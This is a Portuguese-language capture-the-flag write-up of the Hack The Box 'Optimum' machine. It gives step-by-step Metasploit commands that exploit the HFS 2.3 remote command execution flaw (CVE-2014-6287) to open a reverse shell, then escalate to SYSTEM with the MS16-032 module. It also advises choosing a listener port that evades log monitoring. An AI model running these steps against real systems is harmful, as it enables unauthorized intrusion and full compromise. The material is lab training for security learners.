Hack The Box – Optimum Writeup (Usando Metasploit)

Hack The Box – Optimum Writeup (Usando Metasploit)

Hoje veremos o writeup completo da máquina Optimum do Hack The Box!
Link de acesso: https://app.hackthebox.com/machines/Optimum

Descrição

A máquina Optimim é uma máquina de nível iniciante que se concentra principalmente na enumeração de serviços com exploits conhecidos. Ambas as explorações são fáceis de obter e possuem módulos Metasploit associados, tornando esta máquina bastante simples de concluir.

Conhecimento requeridos:

  • Conhecimento básico em Windows
  • Enumeração de portas e serviços

Conhecimento que serão aprendidos:

  • Identificação de serviços vulneráveis
  • Identificação de explorações conhecidas
  • Técnicas básicas de escalonamento de privilégios do Windows

Reconhecimento

Para começar, criaremos uma variável chamada “ports”. Seu valor será o resultado da execução do NMAP no endereço IP da máquina Optimum, seguido pelo parsing do resultado para obter apenas as portas obtidas pelo NMAP.

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.8 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

Em seguida, podemos executar o NMAP novamente no mesmo endereço IP, desta vez incluindo as portas identificadas anteriormente e habilitando as flags -sC e -sV.

A opção -sC (equivalente a -script=default) indica ao NMAP para executar o script padrão de detecção de vulnerabilidades e informações sobre os serviços em execução nas portas abertas. Esse script pode ajudar a identificar potenciais vulnerabilidades nos serviços e também fornecer informações detalhadas sobre os mesmos.

A opção -sV (equivalente a -version-intensity=7) solicita que o NMAP faça uma tentativa de identificação da versão do serviço em execução nas portas abertas. Isso pode ajudar a identificar o tipo de serviço e sua versão, o que pode ser útil para determinar se há vulnerabilidades conhecidas ou para fins de identificação de sistema.

Em resumo, a opção -sC permite executar um script de detecção de vulnerabilidades e informações sobre serviços, enquanto a opção -sV tenta identificar a versão do serviço em execução nas portas abertas.

nmap -sC -sV -p$ports 10.10.10.8

Observaçao: Esta é apenas uma forma de se fazer o scan de serviços ativos, mas sinta-se à vontade para usar outros métodos que desejar.

Resultado do scan:

Com base no screenshot acima, é possível notar que o serviço ativo é TCP/80 (HTTP). Acessando o serviço, é possível constatar que se trata de um HFS-HttpFileServer e que a versão em uso é a 2.3.

Fazendo uma pesquisa por “HFS exploit”, foi possível identificar o link https://www.exploit-db.com/exploits/39161 .

Exploração (Shell inicial)

Neste caso, podemos verificar que existe uma CVE associada à exploração deste serviço (cve-2014-6287). A partir disso, é possível utilizar o Metasploit para procurar por módulos de exploração desse serviço.

msfconsole
search hfs 2.3

Dentre os módulos disponíveis no Metasploit, o que coincide com a pesquisa que realizamos é o “exploit/windows/http/rejetto_hfs_exec”. Iremos utilizá-lo para explorar a vulnerabilidade encontrada no serviço.

use exploit/windows/http/rejetto_hfs_exec

Para visualizar as configurações necessárias para utilizar o módulo, podemos utilizar o comando abaixo:

info

Aqui podemos obter mais informações sobre o módulo. Na seção “Referências”, é possível notar que ele faz referência ao siteCVE-2014-6287 , o qual menciona o CVE que identificamos anteriormente no site exploit-db.com

Além disso, podemos visualizar as configurações necessárias para utilizar o módulo. É importante ressaltar que antes de definir as configurações, é uma boa prática analisar todas as opções disponíveis com o comando abaixo para garantir que os requisitos necessários sejam atendidos antes de utilizar o módulo:

show options

Aqui podemos observar que é necessário informar o endereço IP do alvo, bem como o endereço IP da nossa própria máquina (o IP atribuído quando nos conectamos à VPN), juntamente com a porta que ficará em modo “listening” para a conexão reversa.

Para definir o endereço IP da máquina alvo, podemos utilizar o seguinte comando:

set rhost 10.10.10.8

Para definir o endereço IP da nossa própria máquina, que será utilizada como atacante, podemos utilizar o seguinte comando:

set lhost tun0

Uma observação importante é que podemos definir o endereço IP da nossa máquina atacante, mas caso haja dúvidas sobre o IP atribuído, podemos referenciar a interface “tun0”, que é habilitada quando nos conectamos à VPN, e assim obter o IP da VPN que utilizamos.

Por padrão, a porta utilizada para o modo “listening” do módulo é a 4444, mas é recomendável alterar a porta para uma que seja comumente utilizada no ambiente real, a fim de evitar ser detectado por logs ou monitoramento do ambiente.

Agora que as informações foram configuradas corretamente, podemos executar o módulo para explorar a vulnerabilidade.

run

Após a execução do módulo com sucesso, podemos usar o comando “getuid” para verificar se obtemos uma shell no sistema alvo com o usuário “Kostas”.

Com a shell obtida pelo Metasploit, podemos navegar pelos diretórios e ler arquivos, porém, para obter uma shell interativa com o sistema, podemos utilizar o comando abaixo:

shell

Ao analisarmos os usuários do sistema, podemos verificar que além do usuário Kostas, há também o usuário Administrator. No entanto, ao tentarmos acessar o diretório do usuário Administrator, provavelmente nos depararemos com restrições de permissão que nos impedirão de acessar seus arquivos.

cd c:\users
dir
cd Administrator

Nesse ponto, é necessário elevar os privilégios do usuário obtido para continuar a explorar o sistema.

Podemos retornar ao modo do Metasploit usando o comando EXIT e aproveitar os recursos disponíveis para analisar o sistema alvo e descobrir possíveis vulnerabilidades que permitam a elevação de privilégios. Para obter mais informações sobre o sistema, podemos utilizar o comando abaixo.

sysinfo

Na saída do comando anterior, é possível verificar que a arquitetura do sistema é de 64 bits. Com a sessão ativa, podemos utilizar o módulo Suggester para analisar o sistema em busca de métodos para a exploração e elevação de privilégios. Para isso, vamos utilizar os comandos abaixo para salvar a sessão e executar o módulo.

bg

Aqui estamos validando se a sessão que salvamos anteriormente ainda está ativa e disponível para uso.

show sessions

Aqui estamos configurando o módulo Suggester para uso na sessão ativa. O módulo Suggester analisa o sistema de destino para identificar possíveis vulnerabilidades de escalonamento de privilégios.

use post/multi/recon/local_exploit_suggester

Observação: Para usarmos este módulo, basta setar a sessão que desejamos que ele faça a validação e executar o mesmo.

set session 1
run

Aqui, o módulo Suggester enumera todos os exploits e módulos relevantes para a máquina alvo, além de validar possíveis módulos existentes no próprio Metasploit que possam ser usados para exploração e elevação de privilégios.

Os módulos identificados pelo Suggester para uso são:

  • exploit/windows/local/bypassuac_eventvwr
  • exploit/windows/local/ms16_032_secondary_logon_handle_privesc

Ao tentar usar esses módulos, o único que se mostrou efetivo foi o módulo exploit/windows/local/ms16_032_secondary_logon_handle_privesc, cujos passos serão listados abaixo.

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

Para usar este módulo, você precisa selecionar a sessão ativa correspondente ao alvo, bem como especificar o endereço IP da máquina atacante (o endereço atribuído pela conexão VPN), e também pode escolher uma porta para o modo LISTENING se desejar alterar a porta padrão 4444.

Para selecionar a sessão ativa, use o comando abaixo:

set session 1

Setando o IP da máquina atacante

set lhost tun0

Executando o módulo:

run

Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.

Flags do sistema

Podemos usar a shell interativa do sistema para obter as FLAGs do sistema.

shell

Flag user.txt

shell
type c:\users\kostas\desktop\user.txt

Flag root.xt

type c:\users\administrator\desktop\root.txt

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Do IIS User ao SYSTEM: Escalação de Privilégio Windows

Do IIS User ao SYSTEM: Escalação de Privilégio Windows

Neste post será demonstrado como escalar privilégios no IIS com Juicy Potato (MS16-075): Um exemplo de como uma má configuração pode levar ao comprometimento total de um Webserver.

Ler post completo
Powershell Download & Execute

Powershell Download & Execute

Já precisou realizar o download de algum arquivo em Powershell e teve dificuldades?

Ler post completo
Hack the Box – Devel Writeup

Hack the Box – Devel Writeup

Usaremos o Metasploit neste post! Hoje veremos o writeup completo da máquina Legacy do Hack The Box!

Ler post completo